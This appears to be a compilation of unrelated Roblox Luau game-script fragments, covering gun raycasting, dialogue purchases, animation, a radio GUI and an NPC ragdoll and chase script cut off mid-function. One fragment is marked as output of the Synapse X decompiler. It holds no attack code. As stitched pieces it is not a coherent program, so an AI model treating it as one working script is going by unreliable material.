-- This function will be connected to the Caster's "RayHit" event.
local hitPart = raycastResult.Instance
local hitPoint : Vector3 = raycastResult.Position
local normal = raycastResult.Normal
local distance = hitPoint - FirePointObject.WorldPosition
KnockBack(hitPoint,
2-math.min(2, distance.Magnitude/20)
)
if hitPart ~= nil and hitPart.Parent ~= nil then -- Test if we hit something
local humanoid = hitPart.Parent:FindFirstChildOfClass("Humanoid") -- Is there a humanoid?
if humanoid then
humanoid:TakeDamage(100) -- Damage.
end
PlayLandSound(hitPoint)
MakeParticleFX(hitPoint, normal) -- Particle FX
end
end
function OnRayPierced(cast, raycastResult, segmentVelocity, cosmeticBulletObject)
-- You can do some really unique stuff with pierce behavior - In reality, pierce is just the module's way of asking "Do I keep the bullet going, or do I stop it here?"
-- You can make use of this unique behavior in a manner like this, for instance, which causes bullets to be bouncy.
local position = raycastResult.Position
local normal = raycastResult.Normal
local newNormal = Reflect(normal, segmentVelocity.Unit)
cast:SetVelocity(newNormal * segmentVelocity.Magnitude)
-- It's super important that we set the cast's position to the ray hit position. Remember: When a pierce is successful, it increments the ray forward by one increment.
-- If we don't do this, it'll actually start the bounce effect one segment *after* it continues through the object, which for thin walls, can cause the bullet to almost get stuck in the wall.
cast:SetPosition(position)
-- Generally speaking, if you plan to do any velocity modifications to the bullet at all, you should use the line above to reset the position to where it was when the pierce was registered.
end
function OnRayUpdated(cast, segmentOrigin, segmentDirection, length, segmentVelocity, cosmeticBulletObject)
-- Whenever the caster steps forward by one unit, this function is called.
-- The bullet argument is the same object passed into the fire function.
if cosmeticBulletObject == nil then return end
local bulletLength = cosmeticBulletObject.Size.Z / 2 -- This is used to move the bullet to the right spot based on a CFrame offset
local baseCFrame = CFrame.new(segmentOrigin, segmentOrigin + segmentDirection)
cosmeticBulletObject.CFrame = baseCFrame * CFrame.new(0, 0, -(length - bulletLength))
end
function OnRayTerminated(cast)
local cosmeticBullet = cast.RayInfo.CosmeticBulletObject
if cosmeticBullet ~= nil then
CastBehavior.CosmeticBulletProvider:ReturnPart(cosmeticBullet)
end
end
MouseEvent.OnServerEvent:Connect(function (clientThatFired, mousePoint)
if not CanFire then
return
end
CanFire = false
local mouseDirection = (mousePoint - FirePointObject.WorldPosition).Unit
for i = 1, BULLETS_PER_SHOT do
Fire(mouseDirection)
end
if FIRE_DELAY > 0.03 then wait(FIRE_DELAY) end
CanFire = true
end)
Caster.RayHit:Connect(OnRayHit)
Caster.RayPierced:Connect(OnRayPierced)
Caster.LengthChanged:Connect(OnRayUpdated)
Caster.CastTerminating:Connect(OnRayTerminated)
Tool.Equipped:Connect(function ()
CastParams.FilterDescendantsInstances = {Tool.Parent, CosmeticBulletsFolder}
end)
|
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
plrData.Money.Gold.Value = plrData.Money.Gold.Value - 45 -- TODO track for dissertation
local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)
ClassInformationTable:GetClassFolder(player,"Brawler").Barrage.Value = true
end
|
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local MoneyModule = require(game.ReplicatedStorage.Source.SystemModules.Money)
MoneyModule.BuyItemFromDialogueFolder(player,dialogueFolder)
end
|
--[[ This HelpButton Theme displays by default the headshot of the LocalPlayer.
Modes: {
"HEADSHOT" -- LocalPlayer Headshot Thumb
"CUSTOM" -- Loads from Settings
}
--]]
|
return function(data, env)
if env then
setfenv(1, env)
end
local playergui = service.PlayerGui
local localplayer = service.Players.LocalPlayer
local gui = service.New("ScreenGui")
local toggle = service.New("ImageButton", gui)
local toggle1 = service.New("Frame", gui)
local round = Instance.new("UICorner")
round.CornerRadius = UDim.new(0, 6)
round.Parent = toggle1
local round1 = Instance.new("UICorner")
round1.CornerRadius = UDim.new(0, 6)
round1.Parent = toggle
local gTable = client.UI.Register(gui)
if client.UI.Get("HelpButton", gui, true) then
gui:Destroy()
gTable:Destroy()
return nil
end
gTable.Name = "HelpButton"
gTable.CanKeepAlive = false
toggle.Name = "Toggle"
toggle1.Name = "RoundFrame"
toggle1.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
toggle.BackgroundTransparency = 1
toggle1.Position = UDim2.new(1, -45, 1, -45)
toggle.Position = UDim2.new(1, -42, 1, -38)
toggle.Size = UDim2.new(0, 33, 0, 33) --33
toggle.ZIndex = 67
toggle1.Size = UDim2.new(0, 40, 0, 40)
toggle.Image =
"https://www.roblox.com/headshot-thumbnail/image?userId=" ..
localplayer.UserId .. "&width=420&height=420&format=png"
toggle.ImageTransparency = 0
--if client.UI.Get("Chat") then
-- toggle.Position = UDim2.new(1, -(45+40),1, -45)
--end
toggle.MouseButton1Down:Connect(
function()
local found = client.UI.Get("UserPanel", nil, true)
if found then
found.Object:Destroy()
else
client.UI.Make("UserPanel", {})
end
end
)
gTable:Ready()
end
|
--[[script.Parent.Equipped:Connect(function()
while wait(0.1) do
if workspace.Day.Value == false and Debounce == false then
Debounce = true
wait(10)
Day = false
elseif workspace.Day.Value == true then
Debounce = false
Day = true
script.Parent.Screen.SurfaceGui.DisText.Main.Disabled = true
script.Parent.Light.Color = Color3.fromRGB(0,0,0)
script.Parent.Light.Material = Enum.Material.SmoothPlastic
script.Parent.Handle.Sound:Stop()
script.Parent.Screen.SurfaceGui.DisText.Text = "Can't use at day"
script.Parent.Handle.Sound.PlaybackSpeed = 1
end
end
end)]]
| |
--[=[
Set the top-level value of the property, but does not override
any per-player data (e.g. set with `SetFor` or `SetFilter`).
Any player without custom-set data will receive this new data.
This is useful if certain players have specific values that
should not be changed, but all other players should receive
the same new value.
```lua
-- Using just 'Set' overrides per-player data:
remoteProperty:SetFor(somePlayer, "CustomData")
remoteProperty:Set("Data")
print(remoteProperty:GetFor(somePlayer)) --> "Data"
-- Using 'SetTop' does not override:
remoteProperty:SetFor(somePlayer, "CustomData")
remoteProperty:SetTop("Data")
print(remoteProperty:GetFor(somePlayer)) --> "CustomData"
```
]=]
|
function RemoteProperty:SetTop(value: any)
self._value = value
for _, player in ipairs(Players:GetPlayers()) do
if self._perPlayer[player] == nil then
self._rs:Fire(player, value)
end
end
end
|
-- functions
|
function onRunning(speed)
if isSeated then return end
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
isSeated = false
pose = "Jumping"
end
function onClimbing()
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
isSeated = true
pose = "Seated"
end
function moveJump()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 3.14
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveFreeFall()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 3.14
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveClimb()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = 3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle = 3.14 /2
LeftShoulder.DesiredAngle = -3.14 /2
RightHip.DesiredAngle = 3.14 /2
LeftHip.DesiredAngle = -3.14 /2
end
function getTool()
local kidTable = Figure:children()
if (kidTable ~= nil) then
local numKids = #kidTable
for i=1,numKids do
if (kidTable[i].className == "Tool") then return kidTable[i] end
end
end
return nil
end
function getToolAnim(tool)
local c = tool:children()
for i=1,#c do
if (c[i].Name == "toolanim" and c[i].className == "StringValue") then
return c[i]
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
RightShoulder.DesiredAngle = 1.57
return
end
if (toolAnim == "Slash") then
RightShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
return
end
if (toolAnim == "Lunge") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightHip.MaxVelocity = 0.5
LeftHip.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 1.57
LeftShoulder.DesiredAngle = 1.0
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 1.0
return
end
end
function move(time)
local amplitude
local frequency
if (pose == "Jumping") then
moveJump()
return
end
if (pose == "FreeFall") then
moveFreeFall()
return
end
if (pose == "Climbing") then
moveClimb()
return
end
if (pose == "Seated") then
moveSit()
return
end
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
if (pose == "Running") then
amplitude = 1
frequency = 9
else
amplitude = 0.1
frequency = 1
end
local desiredAngle = amplitude * math.sin(time*frequency)
RightShoulder.DesiredAngle = desiredAngle
LeftShoulder.DesiredAngle = desiredAngle
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
local tool = getTool()
if tool ~= nil then
local animStringValueObject = getToolAnim(tool)
if animStringValueObject ~= nil then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
toolAnim = "None"
toolAnimTime = 0
end
end
|
--//Tool Functions\\--
|
tool.Equipped:Connect(function()
contextActionService:BindAction("ActivateSpecial", activate, true, Enum.KeyCode.E)
contextActionService:SetImage("ActivateSpecial", tool.TextureId)
contextActionService:SetPosition("ActivateSpecial", UDim2.new(0.72, -25, 0.20, -25))
enabled = true
mouse.Icon = cursorId
FindRigType(tool)
end)
tool.Unequipped:Connect(function()
contextActionService:UnbindAction("ActivateSpecial")
enabled = true
mouse.Icon = ""
end)
tool.Activated:Connect(function()
if not enabled then return end
enabled = false
fire:FireServer(mouse.Hit)
wait(fireRate.Value)
enabled = true
end)
hit.OnClientEvent:Connect(function()
mouse.Icon = hitmarkerId
handle.Hitmark:Play()
wait(0.075)
mouse.Icon = cursorId
end)
activateSpecial.OnClientEvent:Connect(function()
for i = specialRechargeTime.Value, 0, -1 do
wait(1)
specialDB = false
print("Recharging: "..i)
end
specialDB = true
end)
|
-- Preload game assets
|
coroutine.wrap(function()
ContentProvider:PreloadAsync(AssetPreloads)
end)()
|
-- Change the numbers for different speeds on click of button --
| |
--[[
For bugfixing in multiplayer
function pm(x)
if game.Players:findFirstChild(script.Parent.Parent.Name)~=nil then
local bob=game.Players:findFirstChild(script.Parent.Parent.Name)
local mess=Instance.new("Message")
while bob:findFirstChild("Message")~=nil do bob.Message:remove() end
mess.Parent=bob
mess.Text=("Stage " .. x)
wait(1)
mess.Parent=nil
end
end
--]]
| |
------------------------------------------------------------------------
-- creates struct entry for a local variable
-- * used only in new_localvar()
------------------------------------------------------------------------
|
function luaY:registerlocalvar(ls, varname)
local fs = ls.fs
local f = fs.f
self:growvector(ls.L, f.locvars, fs.nlocvars, f.sizelocvars,
nil, self.SHRT_MAX, "too many local variables")
-- loop to initialize empty f.locvar positions not required
f.locvars[fs.nlocvars] = {} -- LocVar
f.locvars[fs.nlocvars].varname = varname
-- luaC_objbarrier(ls.L, f, varname) /* GC */
local nlocvars = fs.nlocvars
fs.nlocvars = fs.nlocvars + 1
return nlocvars
end
|
------------------------------------------
|
gui.Track.Text = radio.TName.Value
radio.TName.Changed:connect(function()
gui.Track.Text = radio.TName.Value
seat.Parent.Body.Dash.Screen.G.Song.Text = radio.TName.Value
end)
gui.Stop.MouseButton1Click:connect(function()
if radio.Stopped.Value == false then
radio.Stopped.Value = true
end
end)
gui.Pause.MouseButton1Click:connect(function()
if radio.Paused.Value == false and radio.Stopped.Value == false then
radio.Paused.Value = true
end
end)
gui.Play.MouseButton1Click:connect(function()
if radio.Stopped.Value == true then
radio.Play.Value = not radio.Play.Value
else
if radio.Paused.Value == true then
radio.Paused.Value = false
end
end
end)
gui.Forward.MouseButton1Click:connect(function()
local n = radio.Track.Value+1
if n>#radio.Songs:GetChildren() then
n = 1
end
radio.Track.Value = n
end)
gui.Back.MouseButton1Click:connect(function()
local n = radio.Track.Value-1
if n<=0 then
n = #radio.Songs:GetChildren()
end
radio.Track.Value = n
end)
gui.AutoplayOn.MouseButton1Click:connect(function()
if radio.Autoplay.Value == true then
radio.Autoplay.Value = false
end
end)
gui.AutoplayOff.MouseButton1Click:connect(function()
if radio.Autoplay.Value == false then
radio.Autoplay.Value = true
end
end)
gui.List.MouseButton1Click:connect(function()
gui.Menu.Visible=not gui.Menu.Visible
end)
gui.Id.MouseButton1Click:connect(function()
gui.IdPlayer.Visible=not gui.IdPlayer.Visible
if gui.IdPlayer.Visible then gui.Id.Rotation=180 else gui.Id.Rotation=0 end
end)
gui.IdPlayer.Play.MouseButton1Click:connect(function()
if radio.IdPlay.Value==gui.IdPlayer.TextBox.Text then
radio.IdPlay.Value=""
wait()
end
radio.IdPlay.Value=gui.IdPlayer.TextBox.Text
end)
for i,v in pairs(gui.Menu:GetChildren()) do
v.MouseButton1Click:connect(function()
radio.Track.Value = i
end)
end
function Stopped()
if radio.Stopped.Value == true then
gui.Pause.Visible = false
gui.Play.Visible = true
else
gui.Play.Visible = false
gui.Pause.Visible = true
end
end
function Paused()
if radio.Paused.Value == true then
gui.Pause.Visible = false
gui.Play.Visible = true
else
if radio.Stopped.Value == false then
gui.Play.Visible = false
gui.Pause.Visible = true
end
end
end
function Autoplay()
if radio.Autoplay.Value == true then
gui.AutoplayOff.Visible = false
gui.AutoplayOn.Visible = true
else
gui.AutoplayOn.Visible = false
gui.AutoplayOff.Visible = true
end
end
radio.Stopped.Changed:connect(Stopped)
radio.Paused.Changed:connect(Paused)
radio.Autoplay.Changed:connect(Autoplay)
Stopped()
Paused()
Autoplay()
while wait(.5) do
if seat:FindFirstChild("SeatWeld") == nil then
script.Parent:Destroy()
end
end
|
------------------------------------------------------WeldArm---------------------------------------------------------------
|
Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}
function Equip(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild("Left Arm"), Tool.Parent:FindFirstChild("Right Arm")}
torso = Tool.Parent:FindFirstChild("Torso")
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new("Weld")
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(1.5, 0.4, 0.4) * CFrame.fromEulerAnglesXYZ(math.rad(-90), 0, math.rad(0))
welds[1] = weld1
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1.5, 0.3, 0.4) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(0), 0)
welds[2] = weld2
end
else
print("sh")
end
else
print("arms")
end
end
function Unequip(mouse)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print("sh")
end
else
print("arms")
end
end
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
|
--// Hash: daab94b749882fb558fe5d88117045e2a3c840c03050fbba91003d0f3b79c29873a440c969d367b0dd9eb2a36ca2aad2
-- Decompiled with the Synapse X Luau decompiler.
|
while true do
local v1 = pcall(function()
game.StarterGui:SetCore("BadgesNotificationsActive", false);
game.StarterGui:SetCore("ResetButtonCallback", false);
end);
wait(0.1);
if v1 then
break;
end;
end;
|
-- create a bar
|
local bar = Instance.new("Frame", frame)
bar.Position = UDim2.new(0, 0, 0, 0)
bar.Size = UDim2.new(1, 0, 1, 0)
bar.BackgroundColor3 = Color3.new(0, 1, 0)
|
--
|
local sight = 5
local sitting = true
local running = false
local canchase = true
scphumanoid.WalkSpeed = 0
scphumanoid.JumpPower = 0
function ragdollkill(character)
local victimshumanoid = character:findFirstChildOfClass("Humanoid")
if not character:findFirstChild("UpperTorso") then
character.Archivable = true
local ragdoll = character:Clone()
ragdoll:findFirstChildOfClass("Humanoid").Health = 0
ragdoll:findFirstChildOfClass("Humanoid").PlatformStand = true
if ragdoll:findFirstChild("Health") then
if ragdoll:findFirstChild("Health").ClassName == "Script" then
ragdoll:findFirstChild("Health").Disabled = true
end
end
for i,v in pairs(character:GetChildren()) do
if v.ClassName == "Part" or v.ClassName == "ForceField" or v.ClassName == "Accessory" or v.ClassName == "Hat" then
v:destroy()
end
end
for i,v in pairs(character:GetChildren()) do
if v.ClassName == "Accessory" then
local attachment1 = v.Handle:findFirstChildOfClass("Attachment")
if attachment1 then
for q,w in pairs(character:GetChildren()) do
if w.ClassName == "Part" then
local attachment2 = w:findFirstChild(attachment1.Name)
if attachment2 then
local hinge = Instance.new("HingeConstraint", v.Handle)
hinge.Attachment0 = attachment1
hinge.Attachment1 = attachment2
hinge.LimitsEnabled = true
hinge.LowerAngle = 0
hinge.UpperAngle = 0
end
end
end
end
end
end
ragdoll.Parent = workspace
if ragdoll:findFirstChild("Right Arm") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Right Arm")
glue.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Arm"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Transparency = 1
limbcollider.Name = "LimbCollider"
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Arm")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
end
if ragdoll:findFirstChild("Left Arm") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Left Arm")
glue.C0 = CFrame.new(-1.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Arm"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Arm")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
end
if ragdoll:findFirstChild("Left Leg") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Left Leg")
glue.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
glue.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Leg"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Leg")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
end
if ragdoll:findFirstChild("Right Leg") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Right Leg")
glue.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
glue.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Leg"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Leg")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
end
if ragdoll:findFirstChild("Head") and ragdoll.Torso:findFirstChild("NeckAttachment") then
local HeadAttachment = Instance.new("Attachment", ragdoll["Head"])
HeadAttachment.Position = Vector3.new(0, -0.5, 0)
local connection = Instance.new('HingeConstraint', ragdoll["Head"])
connection.LimitsEnabled = true
connection.Attachment0 = ragdoll.Torso.NeckAttachment
connection.Attachment1 = HeadAttachment
connection.UpperAngle = 60
connection.LowerAngle = -60
elseif ragdoll:findFirstChild("Head") and not ragdoll.Torso:findFirstChild("NeckAttachment") then
local hedweld = Instance.new("Weld", ragdoll.Torso)
hedweld.Part0 = ragdoll.Torso
hedweld.Part1 = ragdoll.Head
hedweld.C0 = CFrame.new(0,1.5,0)
end
game.Debris:AddItem(ragdoll, 60)
elseif character:findFirstChild("UpperTorso") then
character.Archivable = true
local ragdoll = character:Clone()
ragdoll:findFirstChildOfClass("Humanoid").Health = 0
if ragdoll:findFirstChild("Health") then
if ragdoll:findFirstChild("Health").ClassName == "Script" then
ragdoll:findFirstChild("Health").Disabled = true
end
end
for i,v in pairs(character:GetChildren()) do
if v.ClassName == "Part" or v.ClassName == "ForceField" or v.ClassName == "Accessory" or v.ClassName == "Hat" or v.ClassName == "MeshPart" then
v:destroy()
end
end
for i,v in pairs(character:GetChildren()) do
if v.ClassName == "Accessory" then
local attachment1 = v.Handle:findFirstChildOfClass("Attachment")
if attachment1 then
for q,w in pairs(character:GetChildren()) do
if w.ClassName == "Part" or w.ClassName == "MeshPart" then
local attachment2 = w:findFirstChild(attachment1.Name)
if attachment2 then
local hinge = Instance.new("HingeConstraint", v.Handle)
hinge.Attachment0 = attachment1
hinge.Attachment1 = attachment2
hinge.LimitsEnabled = true
hinge.LowerAngle = 0
hinge.UpperAngle = 0
end
end
end
end
end
end
ragdoll.Parent = workspace
local Humanoid = ragdoll:findFirstChildOfClass("Humanoid")
Humanoid.PlatformStand = true
local function makeballconnections(limb, attachementone, attachmenttwo, twistlower, twistupper)
local connection = Instance.new('BallSocketConstraint', limb)
connection.LimitsEnabled = true
connection.Attachment0 = attachementone
connection.Attachment1 = attachmenttwo
connection.TwistLimitsEnabled = true
connection.TwistLowerAngle = twistlower
connection.TwistUpperAngle = twistupper
local limbcollider = Instance.new("Part", limb)
limbcollider.Size = Vector3.new(0.1,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Transparency = 1
limbcollider:BreakJoints()
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = limb
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2)
end
local function makehingeconnections(limb, attachementone, attachmenttwo, lower, upper)
local connection = Instance.new('HingeConstraint', limb)
connection.LimitsEnabled = true
connection.Attachment0 = attachementone
connection.Attachment1 = attachmenttwo
connection.LimitsEnabled = true
connection.LowerAngle = lower
connection.UpperAngle = upper
local limbcollider = Instance.new("Part", limb)
limbcollider.Size = Vector3.new(0.1,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Transparency = 1
limbcollider:BreakJoints()
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = limb
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2)
end
local HeadAttachment = Instance.new("Attachment", Humanoid.Parent.Head)
HeadAttachment.Position = Vector3.new(0, -0.5, 0)
makehingeconnections(Humanoid.Parent.Head, HeadAttachment, ragdoll.UpperTorso.NeckAttachment, -50, 50)
makehingeconnections(Humanoid.Parent.LowerTorso, Humanoid.Parent.LowerTorso.WaistRigAttachment, Humanoid.Parent.UpperTorso.WaistRigAttachment, -50, 50)
makeballconnections(Humanoid.Parent.LeftUpperArm, Humanoid.Parent.LeftUpperArm.LeftShoulderRigAttachment, Humanoid.Parent.UpperTorso.LeftShoulderRigAttachment, -200, 200, 180)
makehingeconnections(Humanoid.Parent.LeftLowerArm, Humanoid.Parent.LeftLowerArm.LeftElbowRigAttachment, Humanoid.Parent.LeftUpperArm.LeftElbowRigAttachment, 0, -60)
makehingeconnections(Humanoid.Parent.LeftHand, Humanoid.Parent.LeftHand.LeftWristRigAttachment, Humanoid.Parent.LeftLowerArm.LeftWristRigAttachment, -20, 20)
--
makeballconnections(Humanoid.Parent.RightUpperArm, Humanoid.Parent.RightUpperArm.RightShoulderRigAttachment, Humanoid.Parent.UpperTorso.RightShoulderRigAttachment, -200, 200, 180)
makehingeconnections(Humanoid.Parent.RightLowerArm, Humanoid.Parent.RightLowerArm.RightElbowRigAttachment, Humanoid.Parent.RightUpperArm.RightElbowRigAttachment, 0, -60)
makehingeconnections(Humanoid.Parent.RightHand, Humanoid.Parent.RightHand.RightWristRigAttachment, Humanoid.Parent.RightLowerArm.RightWristRigAttachment, -20, 20)
--
makeballconnections(Humanoid.Parent.RightUpperLeg, Humanoid.Parent.RightUpperLeg.RightHipRigAttachment, Humanoid.Parent.LowerTorso.RightHipRigAttachment, -80, 80, 80)
makehingeconnections(Humanoid.Parent.RightLowerLeg, Humanoid.Parent.RightLowerLeg.RightKneeRigAttachment, Humanoid.Parent.RightUpperLeg.RightKneeRigAttachment, 0, 60)
makehingeconnections(Humanoid.Parent.RightFoot, Humanoid.Parent.RightFoot.RightAnkleRigAttachment, Humanoid.Parent.RightLowerLeg.RightAnkleRigAttachment, -20, 20)
--
makeballconnections(Humanoid.Parent.LeftUpperLeg, Humanoid.Parent.LeftUpperLeg.LeftHipRigAttachment, Humanoid.Parent.LowerTorso.LeftHipRigAttachment, -80, 80, 80)
makehingeconnections(Humanoid.Parent.LeftLowerLeg, Humanoid.Parent.LeftLowerLeg.LeftKneeRigAttachment, Humanoid.Parent.LeftUpperLeg.LeftKneeRigAttachment, 0, 60)
makehingeconnections(Humanoid.Parent.LeftFoot, Humanoid.Parent.LeftFoot.LeftAnkleRigAttachment, Humanoid.Parent.LeftLowerLeg.LeftAnkleRigAttachment, -20, 20)
for i,v in pairs(Humanoid.Parent:GetChildren()) do
if v.ClassName == "Accessory" then
local attachment1 = v.Handle:findFirstChildOfClass("Attachment")
if attachment1 then
for q,w in pairs(Humanoid.Parent:GetChildren()) do
if w.ClassName == "Part" then
local attachment2 = w:findFirstChild(attachment1.Name)
if attachment2 then
local hinge = Instance.new("HingeConstraint", v.Handle)
hinge.Attachment0 = attachment1
hinge.Attachment1 = attachment2
hinge.LimitsEnabled = true
hinge.LowerAngle = 0
hinge.UpperAngle = 0
end
end
end
end
end
end
for i,v in pairs(ragdoll:GetChildren()) do
for q,w in pairs(v:GetChildren()) do
if w.ClassName == "Motor6D"--[[ and w.Name ~= "Neck"--]] then
w:destroy()
end
end
end
if ragdoll:findFirstChild("HumanoidRootPart") then
ragdoll.HumanoidRootPart.Anchored = true
ragdoll.HumanoidRootPart.CanCollide = false
end
game.Debris:AddItem(ragdoll, 60)
end
end
function chase(victim) --chase the player
if canchase then
canchase = false
local raaaaaageeee = true
sitting = false
running = false
local victimhead = victim.Head
local victimhumanoid = victim:findFirstChildOfClass("Humanoid")
idlesound:Stop()
ragesound:Play()
scphumanoid.WalkSpeed = 0
scphumanoid.JumpPower = 0
face.Texture = "http://www.roblox.com/asset/?id=0"
local function spasm()
while wait() do
if raaaaaageeee then
root.C0 = root.C0 * CFrame.new(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50)
rightshoulder.C0 = rightshoulder.C0 * CFrame.new(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50)
leftshoulder.C0 = leftshoulder.C0 * CFrame.new(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50)
lefthip.C0 = lefthip.C0 * CFrame.new(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50)
righthip.C0 = righthip.C0 * CFrame.new(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50)
neck.C0 = neck.C0 * CFrame.new(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50)
--
root.C0 = root.C0 * CFrame.fromEulerAnglesXYZ(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50)
rightshoulder.C0 = rightshoulder.C0 * CFrame.fromEulerAnglesXYZ(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50)
leftshoulder.C0 = leftshoulder.C0 * CFrame.fromEulerAnglesXYZ(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50)
